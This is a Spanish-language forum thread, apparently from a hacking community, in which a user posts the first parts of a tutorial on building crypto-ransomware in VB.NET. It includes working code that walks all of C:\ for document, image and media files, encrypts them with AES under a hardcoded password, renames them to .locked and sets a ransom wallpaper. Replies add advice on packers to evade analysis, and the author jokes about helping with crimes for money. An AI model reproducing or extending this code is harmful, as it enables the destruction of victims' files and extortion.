RANSOMWARE: ¿Qué es? ¿Cómo funciona? ¿Cómo Crearlo? By fudmario.

Iniciado por fudmario, Enero 07, 2016, 01:55:29 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Hola a todos, en esta serie de publicaciones vamos a explicar el funcionamiento de un malware del tipo "Crypto-Ransomware" o "filecoder", como siempre, intentando de ser lo más simple y sencillo para su aprendizaje(No entraremos mucho en conceptos, solo lo suficiente para lograr comprenderlo).

En anteriores publicaciones que hice hace tiempo...xD explique  técnicas de análisis y desinfección de este tipo de Malware.
Los que NO lo vieron, pueden  mirarlo aquí->

Esta serie de publicaciones será como ver desde el otro lado en el cual nuestro objetivo será Entender el funcionamiento, creación, montaje de este tipo de malware.
No sé cuántas publicaciones sean o si me alcanzará el tiempo a terminarlas todas...xD, pero intentaré terminarlo todo.

Preguntas Frecuentes:
¿Porque crear este Tutorial?

R. Para aprender el funcionamiento de este tipo de malware y así poder evitar posibles infecciones(o para promover el desarrollo de software malicioso....xDD). Cada quien es responsable del uso que le dé a esta información.

¿Me Ayudarías a Crear uno completamente FUD y ayudar a Montarlo para poder Infectar?

R.- NO.  El tutorial explicará cómo crearlo paso a paso, como se puede crear, montar, pero bajo ninguna circunstancia ayudaré a cometer Delitos, a no ser que sea por Dinero....xDD.

¿Y por qué no crearlo más antes? , ¿Si hay mucha información al Respecto para que hacerlo ahora?
R.- Y bueno como tengo unos días de vacación, dije: "Bueno porque no Crearlo,....xD".

¿Qué pretendes  con esta Información?

Que más allá de conocer cómo funciona este tipo de malware, es también incentivar a usuarios a aprender algún lenguaje de programación, ya que el lenguaje que conozco un poco más es No tienes permitido ver los links. Registrarse o Entrar a mi cuenta usaremos ese....xD, pero se intentará dar la información necesaria para que puedan extrapolar la información y aplicarlo a diferentes lenguaje.


Comencemos....

RANSOMWARE:
CitarEste tipo de malware lo que básicamente hace es: Secuestrar nuestra información, en la cual mediante diversas técnicas  puede  llegar a Bloquear el acceso a nuestro Sistema, cifrar archivos (generalmente: pdf,doc, docx, pptp.....etc los más usados), obligando a la víctima a dar una cierta cantidad de dinero para poder recuperar la información.
En ciertas ocasiones cuando este tipo de malware utiliza un algoritmo de cifrado débil o guarda la contraseña de cifrado en algún lugar de nuestra PC o si el archivo es eliminado de forma estándar, es posible llegar a recuperarlo sin pagar.

Veamos cómo funciona con una muestra analizada: "CTB-Locker (Curve-Tor-Bitcoin Locker)"
Una vez ejecutada el malware lo que hace es comenzar a cifrar archivos  generalmente a archivos comunes.

Posteriormente nos muestra un mensaje (algo similar cambiando nuestro wallpaper,...etc):



En la cual nos da información sobre como rescatar nuestra información:
Online:

Offline:

Para agregar nuestra Public Key hay que ingresar a la Url que nos da:

Y después de Agregar la Public Key.


En la cualquiera de los dos casos nos da las instrucciones para poder pagar el rescate y recuperar nuestra información.

Bueno hasta aquí hoy...xD, es una pequeña introducción sobre el Tema.

Nuestra meta será crear nuestro propio virus, luego nuestro propio Builder/Constructor para generar el virus, montar nuestro panel  de nuestro Crypto-Ransomware agregar varias funciones/opciones.

Avances:

  • En la siguiente entrega explicaremos, cuál será la estructura de nuestro propio Crypto-Ransomware.
  • Crear la estructura de nuestro primer Crypto-Ransomware (Modo Offline) basado en el ejemplo anterior y que opciones contendrá nuestro Virus...xD.
  • Comenzaremos  a programar nuestras primeras líneas de código (Enumeración de archivos, filtración por extensiones y más.....xD).



Esperaré ansioso el código  8) Para criticarlo, ponte las pilas  :P

Pinta muy bien la saga jejej a esperar se ha dicho la siguiente entrega  :)
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

continuando con la Publicación,  Ahora comenzaremos a crear nuestro virus, creando nuestras primeras lineas de código,
Lo que necesitaremos:
Nuestra Lista de extensiones de archivos objetivos, los documentos/archivos objetivos serán pocas: ".doc, .docx, .txt, .jpg, .png, .mp3, .mp4"
Código: vbnet
 Dim mExts As IEnumerable(Of String) = {".doc", ".docx", ".txt", ".jpg", ".png", ".mp3", ".mp4"}


Ahora bien, para Enumerar Los Archivos vamos a crear una funcion que nos permita filtrar por extensiones.

Utilizaremos la funcion GetFiles de la Clase No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, la cual nos devuelve los nombres de los archivos (con sus rutas de acceso) que coincidan con el patrón de búsqueda especificado, nuestro patron de busqueda será  que enumere todos los archivo y  en todos los subdirectorios, luego mediante un recorrido por nuestra lista de extensiones compararemos con cada fichero y retornaremos solo las que cumplan la condicion y para que busque en todos los subdirectorios en SearchOption usaremos AllDirectories.

Para Simplificar el código, en vez de usar varios for  para listar los archivos y compara con las extensiones, utilizaremos LINQ.

Código: vbnet
    Public Shared Function GetFiles(dirPath As String, mExts As IEnumerable(Of String)) As IEnumerable(Of String)
        Return (From mFile In IO.Directory.GetFiles(dirPath, "*", IO.SearchOption.AllDirectories) Where mExts.Contains(IO.Path.GetExtension(mFile).ToLower())).ToList()
      End Function



Para el Cifrado y Decifrado de Archivos, aqui reduciremos el trabajo y utilizaremos una subrutina sencilla que encontre en CodeProject(Ver No tienes permitido ver los links. Registrarse o Entrar a mi cuenta), con algunas pequeñas modificaciones:
Pero Antes importaremos los siguiente NameSpace:

Código: vbnet
Imports System.IO
Imports System.Security.Cryptography
Imports System.Text


   Pues basicamente la Subrutina de Cifrado tendrá dos paramentros, uno para la ruta de Archivo y Otra Para la Contraseña, la cual nos permitira cifrar el archivo, posteriormente cambiarle de extension a .locked
   
Código: vbnet
Public Shared Sub EncodeFile(filename As String, password As String)
        Dim key As Byte() = New Byte(31) {}
        Encoding.Default.GetBytes(password).CopyTo(key, 0)
        Dim aes As New RijndaelManaged() With
            {
                .Mode = CipherMode.CBC,
                .KeySize = 256,
                .BlockSize = 256,
                .Padding = PaddingMode.Zeros
            }
        Dim buffer As Byte() = File.ReadAllBytes(filename)
        Using mStream As New MemoryStream
            Using cStream As New CryptoStream(mStream, aes.CreateEncryptor(key, key), CryptoStreamMode.Write)
                cStream.Write(buffer, 0, buffer.Length)
                Dim appendBuffer As Byte() = mStream.ToArray()
                Dim finalBuffer As Byte() = New Byte(appendBuffer.Length - 1) {}
                appendBuffer.CopyTo(finalBuffer, 0)
                File.WriteAllBytes(filename, finalBuffer)

            End Using
        End Using
        File.Move(filename, filename & ".locked")
    End Sub

De Forma similar a la Funcion de Cifrado, la funcion de decifrado lo hará de forma Inversa.
Código: vbnet
Public Shared Sub DecodeFile(filePath As String, password As String)

        Dim key As Byte() = New Byte(31) {}
        Encoding.Default.GetBytes(password).CopyTo(key, 0)
        Dim aes As New RijndaelManaged() With
            {
                .Mode = CipherMode.CBC,
                .KeySize = 256,
                .BlockSize = 256,
                .Padding = PaddingMode.Zeros
            }
        Dim buffer As Byte() = File.ReadAllBytes(filePath)
        Using outputStream As New FileStream(filePath, FileMode.Create)
            Using cryptoStream As New CryptoStream(outputStream, aes.CreateDecryptor(key, key), CryptoStreamMode.Write)
                cryptoStream.Write(buffer, 0, buffer.Length)
            End Using
        End Using
        File.Move(filePath, filePath.Replace(".locked", ""))
    End Sub

Como parte de las Opciones Extras para nuestra virus, les habia comentado que algunas variantes de estos tipos  de malware lo que hacian era cambiar el fondo de escritorio, para hacer eso usaremos la api: SystemParametersInfo.

Código: vbnet
<Runtime.InteropServices.DllImport("user32.dll", SetLastError:=True, CharSet:=Runtime.InteropServices.CharSet.Auto, BestFitMapping:=False, ThrowOnUnmappableChar:=True)>
    Public Shared Function SystemParametersInfo(ByVal uiAction As UInteger,
                                                   ByVal uiParam As UInteger,
                                                   ByVal pvParam As String,
                                                   ByVal fWinIni As UInteger
       ) As <Runtime.InteropServices.MarshalAs(Runtime.InteropServices.UnmanagedType.Bool)> Boolean
    End Function

   Ahora crearemos una funcion la cual nos permita Establecer el Fondo del Escritorio(de manera predeterminada quedará centrada estableciendo valores al Regedit):
   
Código: vbnet
 Public Shared Function SetDesktopWallpaper(ByVal img As String) As Boolean
        Try

            Using regKey As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Control Panel\Desktop", True)
                regKey.SetValue("TileWallpaper", "0")
                regKey.SetValue("WallpaperStyle", "0")
            End Using

            Return SystemParametersInfo(&H14, Nothing, img, &H0)
        Catch ex As Exception
        End Try
        Return False
    End Function

   



La forma de usar las funciones Serian:

Código: vbnet
  Private Sub RunActions()
SetDesktopWallpaper("C:\myRansomwareBasic.bmp")
        Dim mExts As IEnumerable(Of String) = {".doc", ".docx", ".txt", ".jpg", ".png", ".mp3", ".mp4"}
        Dim filepath As String = "C:\"
        For Each mFile As String In GetFiles(filepath, mExts)
            EncodeFile(mFile, "MyPassword")
        Next
    End Sub


Teoricamente con esto ya tendriamos lo necesario para que funcione nuestro crypto-ransomware.

PD: Si alguien tiene alguna duda en alguna parte del Código o considera que existe alguna mejor Forma de Hacerlo, pueden comentar en el Mismo hilo.

Q. ¿Y eso es todo?
A. No, aun seguiremos implementando mas cosas.

En la siguiente entrega seguiremos implementado algunas cosas mas a nuestro virus, y  comenzaremos a armar nuestro panel y parte de nuestro builder tambien veremos como se realizan las peticiones POST desde una aplicacion No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.



Como siempre @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, muy bien explicado y un gran código.

Saludos.




Cuidado con los peligrosos nuevo ransomware - Odin - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Por si hay alguien con ganas de robar leyendo este post o alguien que fue infectado por alguien con demasiado tiempo libre y ganas de robar centavos. Este ransomware es tan fácil de bypassear como buscar la contraseña de cifrado hardcodeada (puede ser que la obfusquen también, pero no es dificil encontrarla) en el ejecutable y buscar la función que se encarga de cifrar el archivo.
Si es que se ponen a obfuscar cosas para que parezca inentendible, es cuestión de abrir el ejecutable con un debugger y poner un breakpoint en la función que cifra los archivos.

Hola disculpá...como hiciste el formulario en visual basic?  :-[

Octubre 22, 2016, 01:01:42 PM #9 Ultima modificación: Octubre 22, 2016, 02:41:31 PM por Gabriela
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola disculpá...como hiciste el formulario en visual basic?  :-[
sabe programar.



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Por si hay alguien con ganas de robar leyendo este post o alguien que fue infectado por alguien con demasiado tiempo libre y ganas de robar centavos. Este ransomware es tan fácil de bypassear como buscar la contraseña de cifrado hardcodeada (puede ser que la obfusquen también, pero no es dificil encontrarla) en el ejecutable y buscar la función que se encarga de cifrar el archivo.
Si es que se ponen a obfuscar cosas para que parezca inentendible, es cuestión de abrir el ejecutable con un debugger y poner un breakpoint en la función que cifra los archivos.
Ayuda tambien que  por lo general en aplicaciones .NET se puede decompilar y reconstruir el código fuente...


Igualmente el código es solo de ejemplo, se podría implementar un contraseña dinámica y para dificultar el  proceso de análisis se puede usar packer's(Asi te evitas debuggers, decompilers,etc...).


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola disculpá...como hiciste el formulario en visual basic?  :-[


Para el panel de administración, ya que mi fuerte no es PHP, me ayude con un Framework MVC que esta bien documentado para uso, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Por falta de tiempo no he podido redactar el post para continuar con este tutorial, voy a ver si en estos dias me saco algo de tiempo y lo termino.......o si no voy a publicar solo el código fuente del proyecto completo con + opciones adicionales.



Enero 02, 2017, 12:43:32 AM #11 Ultima modificación: Enero 02, 2017, 12:46:05 AM por aknony
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Por si hay alguien con ganas de robar leyendo este post o alguien que fue infectado por alguien con demasiado tiempo libre y ganas de robar centavos. Este ransomware es tan fácil de bypassear como buscar la contraseña de cifrado hardcodeada (puede ser que la obfusquen también, pero no es dificil encontrarla) en el ejecutable y buscar la función que se encarga de cifrar el archivo.
Si es que se ponen a obfuscar cosas para que parezca inentendible, es cuestión de abrir el ejecutable con un debugger y poner un breakpoint en la función que cifra los archivos.
Ayuda tambien que  por lo general en aplicaciones .NET se puede decompilar y reconstruir el código fuente...


Igualmente el código es solo de ejemplo, se podría implementar un contraseña dinámica y para dificultar el  proceso de análisis se puede usar packer's(Asi te evitas debuggers, decompilers,etc...).


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola disculpá...como hiciste el formulario en visual basic?  :-[


Para el panel de administración, ya que mi fuerte no es PHP, me ayude con un Framework MVC que esta bien documentado para uso, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Por falta de tiempo no he podido redactar el post para continuar con este tutorial, voy a ver si en estos dias me saco algo de tiempo y lo termino.......o si no voy a publicar solo el código fuente del proyecto completo con + opciones adicionales.

Saludos, a tu codigo le falta como lidiar con las excepciones que produce "SearchOption.AllDirectories", a mi se me ocurre una solucion que funciona mas no se si exista una mejor ya que soy novato